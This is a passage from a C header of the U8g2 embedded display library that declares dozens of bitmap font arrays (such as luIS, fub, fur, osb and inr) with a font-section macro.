U8G2_FONT_SECTION("u8g2_font_luIS10_tf"); extern const uint8_t u8g2_font_luIS10_tr[] U8G2_FONT_SECTION("u8g2_font_luIS10_tr"); extern const uint8_t u8g2_font_luIS10_tn[] U8G2_FONT_SECTION("u8g2_font_luIS10_tn"); extern const uint8_t u8g2_font_luIS10_te[] U8G2_FONT_SECTION("u8g2_font_luIS10_te"); extern const uint8_t u8g2_font_luIS12_tf[] U8G2_FONT_SECTION("u8g2_font_luIS12_tf"); extern const uint8_t u8g2_font_luIS12_tr[] U8G2_FONT_SECTION("u8g2_font_luIS12_tr"); extern const uint8_t u8g2_font_luIS12_tn[] U8G2_FONT_SECTION("u8g2_font_luIS12_tn"); extern const uint8_t u8g2_font_luIS12_te[] U8G2_FONT_SECTION("u8g2_font_luIS12_te"); extern const uint8_t u8g2_font_luIS14_tf[] U8G2_FONT_SECTION("u8g2_font_luIS14_tf"); extern const uint8_t u8g2_font_luIS14_tr[] U8G2_FONT_SECTION("u8g2_font_luIS14_tr"); extern const uint8_t u8g2_font_luIS14_tn[] U8G2_FONT_SECTION("u8g2_font_luIS14_tn"); extern const uint8_t u8g2_font_luIS14_te[] U8G2_FONT_SECTION("u8g2_font_luIS14_te"); extern const uint8_t u8g2_font_luIS18_tf[] U8G2_FONT_SECTION("u8g2_font_luIS18_tf"); extern const uint8_t u8g2_font_luIS18_tr[] U8G2_FONT_SECTION("u8g2_font_luIS18_tr"); extern const uint8_t u8g2_font_luIS18_tn[] U8G2_FONT_SECTION("u8g2_font_luIS18_tn"); extern const uint8_t u8g2_font_luIS18_te[] U8G2_FONT_SECTION("u8g2_font_luIS18_te"); extern const uint8_t u8g2_font_luIS19_tf[] U8G2_FONT_SECTION("u8g2_font_luIS19_tf"); extern const uint8_t u8g2_font_luIS19_tr[] U8G2_FONT_SECTION("u8g2_font_luIS19_tr"); extern const uint8_t u8g2_font_luIS19_tn[] U8G2_FONT_SECTION("u8g2_font_luIS19_tn"); extern const uint8_t u8g2_font_luIS19_te[] U8G2_FONT_SECTION("u8g2_font_luIS19_te"); extern const uint8_t u8g2_font_luIS24_tf[] U8G2_FONT_SECTION("u8g2_font_luIS24_tf"); extern const uint8_t u8g2_font_luIS24_tr[] U8G2_FONT_SECTION("u8g2_font_luIS24_tr"); extern const uint8_t u8g2_font_luIS24_tn[] U8G2_FONT_SECTION("u8g2_font_luIS24_tn"); extern const uint8_t u8g2_font_luIS24_te[] U8G2_FONT_SECTION("u8g2_font_luIS24_te"); extern const uint8_t u8g2_font_luRS08_tf[] U8G2_FONT_SECTION("u8g2_font_luRS08_tf"); extern const uint8_t u8g2_font_luRS08_tr[] U8G2_FONT_SECTION("u8g2_font_luRS08_tr"); extern const uint8_t u8g2_font_luRS08_tn[] U8G2_FONT_SECTION("u8g2_font_luRS08_tn"); extern const uint8_t u8g2_font_luRS08_te[] U8G2_FONT_SECTION("u8g2_font_luRS08_te"); extern const uint8_t u8g2_font_luRS10_tf[] U8G2_FONT_SECTION("u8g2_font_luRS10_tf"); extern const uint8_t u8g2_font_luRS10_tr[] U8G2_FONT_SECTION("u8g2_font_luRS10_tr"); extern const uint8_t u8g2_font_luRS10_tn[] U8G2_FONT_SECTION("u8g2_font_luRS10_tn"); extern const uint8_t u8g2_font_luRS10_te[] U8G2_FONT_SECTION("u8g2_font_luRS10_te"); extern const uint8_t u8g2_font_luRS12_tf[] U8G2_FONT_SECTION("u8g2_font_luRS12_tf"); extern const uint8_t u8g2_font_luRS12_tr[] U8G2_FONT_SECTION("u8g2_font_luRS12_tr"); extern const uint8_t u8g2_font_luRS12_tn[] U8G2_FONT_SECTION("u8g2_font_luRS12_tn"); extern const uint8_t u8g2_font_luRS12_te[] U8G2_FONT_SECTION("u8g2_font_luRS12_te"); extern const uint8_t u8g2_font_luRS14_tf[] U8G2_FONT_SECTION("u8g2_font_luRS14_tf"); extern const uint8_t u8g2_font_luRS14_tr[] U8G2_FONT_SECTION("u8g2_font_luRS14_tr"); extern const uint8_t u8g2_font_luRS14_tn[] U8G2_FONT_SECTION("u8g2_font_luRS14_tn"); extern const uint8_t u8g2_font_luRS14_te[] U8G2_FONT_SECTION("u8g2_font_luRS14_te"); extern const uint8_t u8g2_font_luRS18_tf[] U8G2_FONT_SECTION("u8g2_font_luRS18_tf"); extern const uint8_t u8g2_font_luRS18_tr[] U8G2_FONT_SECTION("u8g2_font_luRS18_tr"); extern const uint8_t u8g2_font_luRS18_tn[] U8G2_FONT_SECTION("u8g2_font_luRS18_tn"); extern const uint8_t u8g2_font_luRS18_te[] U8G2_FONT_SECTION("u8g2_font_luRS18_te"); extern const uint8_t u8g2_font_luRS19_tf[] U8G2_FONT_SECTION("u8g2_font_luRS19_tf"); extern const uint8_t u8g2_font_luRS19_tr[] U8G2_FONT_SECTION("u8g2_font_luRS19_tr"); extern const uint8_t u8g2_font_luRS19_tn[] U8G2_FONT_SECTION("u8g2_font_luRS19_tn"); extern const uint8_t u8g2_font_luRS19_te[] U8G2_FONT_SECTION("u8g2_font_luRS19_te"); extern const uint8_t u8g2_font_luRS24_tf[] U8G2_FONT_SECTION("u8g2_font_luRS24_tf"); extern const uint8_t u8g2_font_luRS24_tr[] U8G2_FONT_SECTION("u8g2_font_luRS24_tr"); extern const uint8_t u8g2_font_luRS24_tn[] U8G2_FONT_SECTION("u8g2_font_luRS24_tn"); extern const uint8_t u8g2_font_luRS24_te[] U8G2_FONT_SECTION("u8g2_font_luRS24_te"); extern const uint8_t u8g2_font_baby_tf[] U8G2_FONT_SECTION("u8g2_font_baby_tf"); extern const uint8_t u8g2_font_baby_tr[] U8G2_FONT_SECTION("u8g2_font_baby_tr"); extern const uint8_t u8g2_font_baby_tn[] U8G2_FONT_SECTION("u8g2_font_baby_tn"); extern const uint8_t u8g2_font_blipfest_07_tr[] U8G2_FONT_SECTION("u8g2_font_blipfest_07_tr"); extern const uint8_t u8g2_font_blipfest_07_tn[] U8G2_FONT_SECTION("u8g2_font_blipfest_07_tn"); extern const uint8_t u8g2_font_chikita_tf[] U8G2_FONT_SECTION("u8g2_font_chikita_tf"); extern const uint8_t u8g2_font_chikita_tr[] U8G2_FONT_SECTION("u8g2_font_chikita_tr"); extern const uint8_t u8g2_font_chikita_tn[] U8G2_FONT_SECTION("u8g2_font_chikita_tn"); extern const uint8_t u8g2_font_lucasfont_alternate_tf[] U8G2_FONT_SECTION("u8g2_font_lucasfont_alternate_tf"); extern const uint8_t u8g2_font_lucasfont_alternate_tr[] U8G2_FONT_SECTION("u8g2_font_lucasfont_alternate_tr"); extern const uint8_t u8g2_font_lucasfont_alternate_tn[] U8G2_FONT_SECTION("u8g2_font_lucasfont_alternate_tn"); extern const uint8_t u8g2_font_p01type_tf[] U8G2_FONT_SECTION("u8g2_font_p01type_tf"); extern const uint8_t u8g2_font_p01type_tr[] U8G2_FONT_SECTION("u8g2_font_p01type_tr"); extern const uint8_t u8g2_font_p01type_tn[] U8G2_FONT_SECTION("u8g2_font_p01type_tn"); extern const uint8_t u8g2_font_pixelle_micro_tr[] U8G2_FONT_SECTION("u8g2_font_pixelle_micro_tr"); extern const uint8_t u8g2_font_pixelle_micro_tn[] U8G2_FONT_SECTION("u8g2_font_pixelle_micro_tn"); extern const uint8_t u8g2_font_robot_de_niro_tf[] U8G2_FONT_SECTION("u8g2_font_robot_de_niro_tf"); extern const uint8_t u8g2_font_robot_de_niro_tr[] U8G2_FONT_SECTION("u8g2_font_robot_de_niro_tr"); extern const uint8_t u8g2_font_robot_de_niro_tn[] U8G2_FONT_SECTION("u8g2_font_robot_de_niro_tn"); extern const uint8_t u8g2_font_trixel_square_tf[] U8G2_FONT_SECTION("u8g2_font_trixel_square_tf"); extern const uint8_t u8g2_font_trixel_square_tr[] U8G2_FONT_SECTION("u8g2_font_trixel_square_tr"); extern const uint8_t u8g2_font_trixel_square_tn[] U8G2_FONT_SECTION("u8g2_font_trixel_square_tn"); extern const uint8_t u8g2_font_haxrcorp4089_tr[] U8G2_FONT_SECTION("u8g2_font_haxrcorp4089_tr"); extern const uint8_t u8g2_font_haxrcorp4089_tn[] U8G2_FONT_SECTION("u8g2_font_haxrcorp4089_tn"); extern const uint8_t u8g2_font_haxrcorp4089_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_haxrcorp4089_t_cyrillic"); extern const uint8_t u8g2_font_bubble_tr[] U8G2_FONT_SECTION("u8g2_font_bubble_tr"); extern const uint8_t u8g2_font_bubble_tn[] U8G2_FONT_SECTION("u8g2_font_bubble_tn"); extern const uint8_t u8g2_font_cardimon_pixel_tf[] U8G2_FONT_SECTION("u8g2_font_cardimon_pixel_tf"); extern const uint8_t u8g2_font_cardimon_pixel_tr[] U8G2_FONT_SECTION("u8g2_font_cardimon_pixel_tr"); extern const uint8_t u8g2_font_cardimon_pixel_tn[] U8G2_FONT_SECTION("u8g2_font_cardimon_pixel_tn"); extern const uint8_t u8g2_font_maniac_tf[] U8G2_FONT_SECTION("u8g2_font_maniac_tf"); extern const uint8_t u8g2_font_maniac_tr[] U8G2_FONT_SECTION("u8g2_font_maniac_tr"); extern const uint8_t u8g2_font_maniac_tn[] U8G2_FONT_SECTION("u8g2_font_maniac_tn"); extern const uint8_t u8g2_font_maniac_te[] U8G2_FONT_SECTION("u8g2_font_maniac_te"); extern const uint8_t u8g2_font_lucasarts_scumm_subtitle_o_tf[] U8G2_FONT_SECTION("u8g2_font_lucasarts_scumm_subtitle_o_tf"); extern const uint8_t u8g2_font_lucasarts_scumm_subtitle_o_tr[] U8G2_FONT_SECTION("u8g2_font_lucasarts_scumm_subtitle_o_tr"); extern const uint8_t u8g2_font_lucasarts_scumm_subtitle_o_tn[] U8G2_FONT_SECTION("u8g2_font_lucasarts_scumm_subtitle_o_tn"); extern const uint8_t u8g2_font_lucasarts_scumm_subtitle_r_tf[] U8G2_FONT_SECTION("u8g2_font_lucasarts_scumm_subtitle_r_tf"); extern const uint8_t u8g2_font_lucasarts_scumm_subtitle_r_tr[] U8G2_FONT_SECTION("u8g2_font_lucasarts_scumm_subtitle_r_tr"); extern const uint8_t u8g2_font_lucasarts_scumm_subtitle_r_tn[] U8G2_FONT_SECTION("u8g2_font_lucasarts_scumm_subtitle_r_tn"); extern const uint8_t u8g2_font_utopia24_tf[] U8G2_FONT_SECTION("u8g2_font_utopia24_tf"); extern const uint8_t u8g2_font_utopia24_tr[] U8G2_FONT_SECTION("u8g2_font_utopia24_tr"); extern const uint8_t u8g2_font_utopia24_tn[] U8G2_FONT_SECTION("u8g2_font_utopia24_tn"); extern const uint8_t u8g2_font_utopia24_te[] U8G2_FONT_SECTION("u8g2_font_utopia24_te"); extern const uint8_t u8g2_font_m_c_kids_nes_credits_font_tr[] U8G2_FONT_SECTION("u8g2_font_m_c_kids_nes_credits_font_tr"); extern const uint8_t u8g2_font_chargen_92_tf[] U8G2_FONT_SECTION("u8g2_font_chargen_92_tf"); extern const uint8_t u8g2_font_chargen_92_tr[] U8G2_FONT_SECTION("u8g2_font_chargen_92_tr"); extern const uint8_t u8g2_font_chargen_92_tn[] U8G2_FONT_SECTION("u8g2_font_chargen_92_tn"); extern const uint8_t u8g2_font_chargen_92_te[] U8G2_FONT_SECTION("u8g2_font_chargen_92_te"); extern const uint8_t u8g2_font_chargen_92_mf[] U8G2_FONT_SECTION("u8g2_font_chargen_92_mf"); extern const uint8_t u8g2_font_chargen_92_mr[] U8G2_FONT_SECTION("u8g2_font_chargen_92_mr"); extern const uint8_t u8g2_font_chargen_92_mn[] U8G2_FONT_SECTION("u8g2_font_chargen_92_mn"); extern const uint8_t u8g2_font_chargen_92_me[] U8G2_FONT_SECTION("u8g2_font_chargen_92_me"); extern const uint8_t u8g2_font_fub11_tf[] U8G2_FONT_SECTION("u8g2_font_fub11_tf"); extern const uint8_t u8g2_font_fub11_tr[] U8G2_FONT_SECTION("u8g2_font_fub11_tr"); extern const uint8_t u8g2_font_fub11_tn[] U8G2_FONT_SECTION("u8g2_font_fub11_tn"); extern const uint8_t u8g2_font_fub14_tf[] U8G2_FONT_SECTION("u8g2_font_fub14_tf"); extern const uint8_t u8g2_font_fub14_tr[] U8G2_FONT_SECTION("u8g2_font_fub14_tr"); extern const uint8_t u8g2_font_fub14_tn[] U8G2_FONT_SECTION("u8g2_font_fub14_tn"); extern const uint8_t u8g2_font_fub17_tf[] U8G2_FONT_SECTION("u8g2_font_fub17_tf"); extern const uint8_t u8g2_font_fub17_tr[] U8G2_FONT_SECTION("u8g2_font_fub17_tr"); extern const uint8_t u8g2_font_fub17_tn[] U8G2_FONT_SECTION("u8g2_font_fub17_tn"); extern const uint8_t u8g2_font_fub20_tf[] U8G2_FONT_SECTION("u8g2_font_fub20_tf"); extern const uint8_t u8g2_font_fub20_tr[] U8G2_FONT_SECTION("u8g2_font_fub20_tr"); extern const uint8_t u8g2_font_fub20_tn[] U8G2_FONT_SECTION("u8g2_font_fub20_tn"); extern const uint8_t u8g2_font_fub25_tf[] U8G2_FONT_SECTION("u8g2_font_fub25_tf"); extern const uint8_t u8g2_font_fub25_tr[] U8G2_FONT_SECTION("u8g2_font_fub25_tr"); extern const uint8_t u8g2_font_fub25_tn[] U8G2_FONT_SECTION("u8g2_font_fub25_tn"); extern const uint8_t u8g2_font_fub30_tf[] U8G2_FONT_SECTION("u8g2_font_fub30_tf"); extern const uint8_t u8g2_font_fub30_tr[] U8G2_FONT_SECTION("u8g2_font_fub30_tr"); extern const uint8_t u8g2_font_fub30_tn[] U8G2_FONT_SECTION("u8g2_font_fub30_tn"); extern const uint8_t u8g2_font_fub35_tf[] U8G2_FONT_SECTION("u8g2_font_fub35_tf"); extern const uint8_t u8g2_font_fub35_tr[] U8G2_FONT_SECTION("u8g2_font_fub35_tr"); extern const uint8_t u8g2_font_fub35_tn[] U8G2_FONT_SECTION("u8g2_font_fub35_tn"); extern const uint8_t u8g2_font_fub42_tf[] U8G2_FONT_SECTION("u8g2_font_fub42_tf"); extern const uint8_t u8g2_font_fub42_tr[] U8G2_FONT_SECTION("u8g2_font_fub42_tr"); extern const uint8_t u8g2_font_fub42_tn[] U8G2_FONT_SECTION("u8g2_font_fub42_tn"); extern const uint8_t u8g2_font_fub49_tn[] U8G2_FONT_SECTION("u8g2_font_fub49_tn"); extern const uint8_t u8g2_font_fub11_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fub11_t_symbol"); extern const uint8_t u8g2_font_fub14_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fub14_t_symbol"); extern const uint8_t u8g2_font_fub17_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fub17_t_symbol"); extern const uint8_t u8g2_font_fub20_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fub20_t_symbol"); extern const uint8_t u8g2_font_fub25_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fub25_t_symbol"); extern const uint8_t u8g2_font_fub30_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fub30_t_symbol"); extern const uint8_t u8g2_font_fub35_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fub35_t_symbol"); extern const uint8_t u8g2_font_fub42_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fub42_t_symbol"); extern const uint8_t u8g2_font_fub49_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fub49_t_symbol"); extern const uint8_t u8g2_font_fur11_tf[] U8G2_FONT_SECTION("u8g2_font_fur11_tf"); extern const uint8_t u8g2_font_fur11_tr[] U8G2_FONT_SECTION("u8g2_font_fur11_tr"); extern const uint8_t u8g2_font_fur11_tn[] U8G2_FONT_SECTION("u8g2_font_fur11_tn"); extern const uint8_t u8g2_font_fur14_tf[] U8G2_FONT_SECTION("u8g2_font_fur14_tf"); extern const uint8_t u8g2_font_fur14_tr[] U8G2_FONT_SECTION("u8g2_font_fur14_tr"); extern const uint8_t u8g2_font_fur14_tn[] U8G2_FONT_SECTION("u8g2_font_fur14_tn"); extern const uint8_t u8g2_font_fur17_tf[] U8G2_FONT_SECTION("u8g2_font_fur17_tf"); extern const uint8_t u8g2_font_fur17_tr[] U8G2_FONT_SECTION("u8g2_font_fur17_tr"); extern const uint8_t u8g2_font_fur17_tn[] U8G2_FONT_SECTION("u8g2_font_fur17_tn"); extern const uint8_t u8g2_font_fur20_tf[] U8G2_FONT_SECTION("u8g2_font_fur20_tf"); extern const uint8_t u8g2_font_fur20_tr[] U8G2_FONT_SECTION("u8g2_font_fur20_tr"); extern const uint8_t u8g2_font_fur20_tn[] U8G2_FONT_SECTION("u8g2_font_fur20_tn"); extern const uint8_t u8g2_font_fur25_tf[] U8G2_FONT_SECTION("u8g2_font_fur25_tf"); extern const uint8_t u8g2_font_fur25_tr[] U8G2_FONT_SECTION("u8g2_font_fur25_tr"); extern const uint8_t u8g2_font_fur25_tn[] U8G2_FONT_SECTION("u8g2_font_fur25_tn"); extern const uint8_t u8g2_font_fur30_tf[] U8G2_FONT_SECTION("u8g2_font_fur30_tf"); extern const uint8_t u8g2_font_fur30_tr[] U8G2_FONT_SECTION("u8g2_font_fur30_tr"); extern const uint8_t u8g2_font_fur30_tn[] U8G2_FONT_SECTION("u8g2_font_fur30_tn"); extern const uint8_t u8g2_font_fur35_tf[] U8G2_FONT_SECTION("u8g2_font_fur35_tf"); extern const uint8_t u8g2_font_fur35_tr[] U8G2_FONT_SECTION("u8g2_font_fur35_tr"); extern const uint8_t u8g2_font_fur35_tn[] U8G2_FONT_SECTION("u8g2_font_fur35_tn"); extern const uint8_t u8g2_font_fur42_tf[] U8G2_FONT_SECTION("u8g2_font_fur42_tf"); extern const uint8_t u8g2_font_fur42_tr[] U8G2_FONT_SECTION("u8g2_font_fur42_tr"); extern const uint8_t u8g2_font_fur42_tn[] U8G2_FONT_SECTION("u8g2_font_fur42_tn"); extern const uint8_t u8g2_font_fur49_tn[] U8G2_FONT_SECTION("u8g2_font_fur49_tn"); extern const uint8_t u8g2_font_fur11_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fur11_t_symbol"); extern const uint8_t u8g2_font_fur14_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fur14_t_symbol"); extern const uint8_t u8g2_font_fur17_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fur17_t_symbol"); extern const uint8_t u8g2_font_fur20_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fur20_t_symbol"); extern const uint8_t u8g2_font_fur25_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fur25_t_symbol"); extern const uint8_t u8g2_font_fur30_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fur30_t_symbol"); extern const uint8_t u8g2_font_fur35_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fur35_t_symbol"); extern const uint8_t u8g2_font_fur42_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fur42_t_symbol"); extern const uint8_t u8g2_font_fur49_t_symbol[] U8G2_FONT_SECTION("u8g2_font_fur49_t_symbol"); extern const uint8_t u8g2_font_osb18_tf[] U8G2_FONT_SECTION("u8g2_font_osb18_tf"); extern const uint8_t u8g2_font_osb18_tr[] U8G2_FONT_SECTION("u8g2_font_osb18_tr"); extern const uint8_t u8g2_font_osb18_tn[] U8G2_FONT_SECTION("u8g2_font_osb18_tn"); extern const uint8_t u8g2_font_osb21_tf[] U8G2_FONT_SECTION("u8g2_font_osb21_tf"); extern const uint8_t u8g2_font_osb21_tr[] U8G2_FONT_SECTION("u8g2_font_osb21_tr"); extern const uint8_t u8g2_font_osb21_tn[] U8G2_FONT_SECTION("u8g2_font_osb21_tn"); extern const uint8_t u8g2_font_osb26_tf[] U8G2_FONT_SECTION("u8g2_font_osb26_tf"); extern const uint8_t u8g2_font_osb26_tr[] U8G2_FONT_SECTION("u8g2_font_osb26_tr"); extern const uint8_t u8g2_font_osb26_tn[] U8G2_FONT_SECTION("u8g2_font_osb26_tn"); extern const uint8_t u8g2_font_osb29_tf[] U8G2_FONT_SECTION("u8g2_font_osb29_tf"); extern const uint8_t u8g2_font_osb29_tr[] U8G2_FONT_SECTION("u8g2_font_osb29_tr"); extern const uint8_t u8g2_font_osb29_tn[] U8G2_FONT_SECTION("u8g2_font_osb29_tn"); extern const uint8_t u8g2_font_osb35_tf[] U8G2_FONT_SECTION("u8g2_font_osb35_tf"); extern const uint8_t u8g2_font_osb35_tr[] U8G2_FONT_SECTION("u8g2_font_osb35_tr"); extern const uint8_t u8g2_font_osb35_tn[] U8G2_FONT_SECTION("u8g2_font_osb35_tn"); extern const uint8_t u8g2_font_osb41_tf[] U8G2_FONT_SECTION("u8g2_font_osb41_tf"); extern const uint8_t u8g2_font_osb41_tr[] U8G2_FONT_SECTION("u8g2_font_osb41_tr"); extern const uint8_t u8g2_font_osb41_tn[] U8G2_FONT_SECTION("u8g2_font_osb41_tn"); extern const uint8_t u8g2_font_osr18_tf[] U8G2_FONT_SECTION("u8g2_font_osr18_tf"); extern const uint8_t u8g2_font_osr18_tr[] U8G2_FONT_SECTION("u8g2_font_osr18_tr"); extern const uint8_t u8g2_font_osr18_tn[] U8G2_FONT_SECTION("u8g2_font_osr18_tn"); extern const uint8_t u8g2_font_osr21_tf[] U8G2_FONT_SECTION("u8g2_font_osr21_tf"); extern const uint8_t u8g2_font_osr21_tr[] U8G2_FONT_SECTION("u8g2_font_osr21_tr"); extern const uint8_t u8g2_font_osr21_tn[] U8G2_FONT_SECTION("u8g2_font_osr21_tn"); extern const uint8_t u8g2_font_osr26_tf[] U8G2_FONT_SECTION("u8g2_font_osr26_tf"); extern const uint8_t u8g2_font_osr26_tr[] U8G2_FONT_SECTION("u8g2_font_osr26_tr"); extern const uint8_t u8g2_font_osr26_tn[] U8G2_FONT_SECTION("u8g2_font_osr26_tn"); extern const uint8_t u8g2_font_osr29_tf[] U8G2_FONT_SECTION("u8g2_font_osr29_tf"); extern const uint8_t u8g2_font_osr29_tr[] U8G2_FONT_SECTION("u8g2_font_osr29_tr"); extern const uint8_t u8g2_font_osr29_tn[] U8G2_FONT_SECTION("u8g2_font_osr29_tn"); extern const uint8_t u8g2_font_osr35_tf[] U8G2_FONT_SECTION("u8g2_font_osr35_tf"); extern const uint8_t u8g2_font_osr35_tr[] U8G2_FONT_SECTION("u8g2_font_osr35_tr"); extern const uint8_t u8g2_font_osr35_tn[] U8G2_FONT_SECTION("u8g2_font_osr35_tn"); extern const uint8_t u8g2_font_osr41_tf[] U8G2_FONT_SECTION("u8g2_font_osr41_tf"); extern const uint8_t u8g2_font_osr41_tr[] U8G2_FONT_SECTION("u8g2_font_osr41_tr"); extern const uint8_t u8g2_font_osr41_tn[] U8G2_FONT_SECTION("u8g2_font_osr41_tn"); extern const uint8_t u8g2_font_inr16_mf[] U8G2_FONT_SECTION("u8g2_font_inr16_mf"); extern const uint8_t u8g2_font_inr16_mr[] U8G2_FONT_SECTION("u8g2_font_inr16_mr"); extern const uint8_t u8g2_font_inr16_mn[] U8G2_FONT_SECTION("u8g2_font_inr16_mn"); extern const uint8_t u8g2_font_inr19_mf[] U8G2_FONT_SECTION("u8g2_font_inr19_mf"); extern const uint8_t u8g2_font_inr19_mr[] U8G2_FONT_SECTION("u8g2_font_inr19_mr"); extern const uint8_t u8g2_font_inr19_mn[] U8G2_FONT_SECTION("u8g2_font_inr19_mn"); extern const uint8_t u8g2_font_inr21_mf[] U8G2_FONT_SECTION("u8g2_font_inr21_mf"); extern const uint8_t u8g2_font_inr21_mr[] U8G2_FONT_SECTION("u8g2_font_inr21_mr"); extern const uint8_t u8g2_font_inr21_mn[] U8G2_FONT_SECTION("u8g2_font_inr21_mn"); extern const uint8_t u8g2_font_inr24_mf[] U8G2_FONT_SECTION("u8g2_font_inr24_mf"); extern const uint8_t u8g2_font_inr24_mr[] U8G2_FONT_SECTION("u8g2_font_inr24_mr"); extern const uint8_t u8g2_font_inr24_mn[] U8G2_FONT_SECTION("u8g2_font_inr24_mn"); extern const uint8_t u8g2_font_inr24_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_inr24_t_cyrillic"); extern const uint8_t u8g2_font_inr27_mf[] U8G2_FONT_SECTION("u8g2_font_inr27_mf"); extern const uint8_t u8g2_font_inr27_mr[] U8G2_FONT_SECTION("u8g2_font_inr27_mr"); extern const uint8_t u8g2_font_inr27_mn[] U8G2_FONT_SECTION("u8g2_font_inr27_mn"); extern const uint8_t u8g2_font_inr27_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_inr27_t_cyrillic"); extern const uint8_t u8g2_font_inr30_mf[] U8G2_FONT_SECTION("u8g2_font_inr30_mf"); extern const uint8_t u8g2_font_inr30_mr[] U8G2_FONT_SECTION("u8g2_font_inr30_mr"); extern const uint8_t u8g2_font_inr30_mn[] U8G2_FONT_SECTION("u8g2_font_inr30_mn"); extern const uint8_t u8g2_font_inr30_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_inr30_t_cyrillic"); extern const uint8_t u8g2_font_inr33_mf[] U8G2_FONT_SECTION("u8g2_font_inr33_mf"); extern const uint8_t u8g2_font_inr33_mr[] U8G2_FONT_SECTION("u8g2_font_inr33_mr"); extern const uint8_t u8g2_font_inr33_mn[] U8G2_FONT_SECTION("u8g2_font_inr33_mn"); extern const uint8_t u8g2_font_inr33_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_inr33_t_cyrillic"); extern const uint8_t u8g2_font_inr38_mf[] U8G2_FONT_SECTION("u8g2_font_inr38_mf"); extern const uint8_t u8g2_font_inr38_mr[] U8G2_FONT_SECTION("u8g2_font_inr38_mr"); extern const uint8_t u8g2_font_inr38_mn[] U8G2_FONT_SECTION("u8g2_font_inr38_mn"); extern const uint8_t u8g2_font_inr38_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_inr38_t_cyrillic"); extern const uint8_t u8g2_font_inr42_mf[] U8G2_FONT_SECTION("u8g2_font_inr42_mf"); extern const uint8_t u8g2_font_inr42_mr[] U8G2_FONT_SECTION("u8g2_font_inr42_mr"); extern const uint8_t u8g2_font_inr42_mn[] U8G2_FONT_SECTION("u8g2_font_inr42_mn"); extern const uint8_t u8g2_font_inr42_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_inr42_t_cyrillic"); extern const uint8_t u8g2_font_inr46_mf[] U8G2_FONT_SECTION("u8g2_font_inr46_mf"); extern const uint8_t u8g2_font_inr46_mr[] U8G2_FONT_SECTION("u8g2_font_inr46_mr"); extern const uint8_t u8g2_font_inr46_mn[] U8G2_FONT_SECTION("u8g2_font_inr46_mn"); extern const uint8_t u8g2_font_inr46_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_inr46_t_cyrillic"); extern const uint8_t u8g2_font_inr49_mf[] U8G2_FONT_SECTION("u8g2_font_inr49_mf"); extern const uint8_t u8g2_font_inr49_mr[] U8G2_FONT_SECTION("u8g2_font_inr49_mr"); extern const uint8_t u8g2_font_inr49_mn[] U8G2_FONT_SECTION("u8g2_font_inr49_mn"); extern const uint8_t u8g2_font_inr49_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_inr49_t_cyrillic"); extern const uint8_t u8g2_font_inr53_mf[] U8G2_FONT_SECTION("u8g2_font_inr53_mf"); extern const uint8_t u8g2_font_inr53_mr[] U8G2_FONT_SECTION("u8g2_font_inr53_mr"); extern const uint8_t u8g2_font_inr53_mn[] U8G2_FONT_SECTION("u8g2_font_inr53_mn"); extern const uint8_t u8g2_font_inr53_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_inr53_t_cyrillic"); extern const uint8_t u8g2_font_inr57_mn[] U8G2_FONT_SECTION("u8g2_font_inr57_mn"); extern const uint8_t u8g2_font_inr62_mn[] U8G2_FONT_SECTION("u8g2_font_inr62_mn"); extern const uint8_t u8g2_font_inb16_mf[] U8G2_FONT_SECTION("u8g2_font_inb16_mf"); extern const uint8_t u8g2_font_inb16_mr[] U8G2_FONT_SECTION("u8g2_font_inb16_mr"); extern const uint8_t u8g2_font_inb16_mn[] U8G2_FONT_SECTION("u8g2_font_inb16_mn"); extern const uint8_t u8g2_font_inb19_mf[] U8G2_FONT_SECTION("u8g2_font_inb19_mf"); extern const uint8_t u8g2_font_inb19_mr[] U8G2_FONT_SECTION("u8g2_font_inb19_mr"); extern const uint8_t u8g2_font_inb19_mn[] U8G2_FONT_SECTION("u8g2_font_inb19_mn"); extern const uint8_t u8g2_font_inb21_mf[] U8G2_FONT_SECTION("u8g2_font_inb21_mf"); extern const uint8_t u8g2_font_inb21_mr[] U8G2_FONT_SECTION("u8g2_font_inb21_mr"); extern const uint8_t u8g2_font_inb21_mn[] U8G2_FONT_SECTION("u8g2_font_inb21_mn"); extern const uint8_t u8g2_font_inb24_mf[] U8G2_FONT_SECTION("u8g2_font_inb24_mf"); extern const uint8_t u8g2_font_inb24_mr[] U8G2_FONT_SECTION("u8g2_font_inb24_mr"); extern const uint8_t u8g2_font_inb24_mn[] U8G2_FONT_SECTION("u8g2_font_inb24_mn"); extern const uint8_t u8g2_font_inb27_mf[] U8G2_FONT_SECTION("u8g2_font_inb27_mf"); extern const uint8_t u8g2_font_inb27_mr[] U8G2_FONT_SECTION("u8g2_font_inb27_mr"); extern const uint8_t u8g2_font_inb27_mn[] U8G2_FONT_SECTION("u8g2_font_inb27_mn"); extern const uint8_t u8g2_font_inb30_mf[] U8G2_FONT_SECTION("u8g2_font_inb30_mf"); extern const uint8_t u8g2_font_inb30_mr[] U8G2_FONT_SECTION("u8g2_font_inb30_mr"); extern const uint8_t u8g2_font_inb30_mn[] U8G2_FONT_SECTION("u8g2_font_inb30_mn"); extern const uint8_t u8g2_font_inb33_mf[] U8G2_FONT_SECTION("u8g2_font_inb33_mf"); extern const uint8_t u8g2_font_inb33_mr[] U8G2_FONT_SECTION("u8g2_font_inb33_mr"); extern const uint8_t 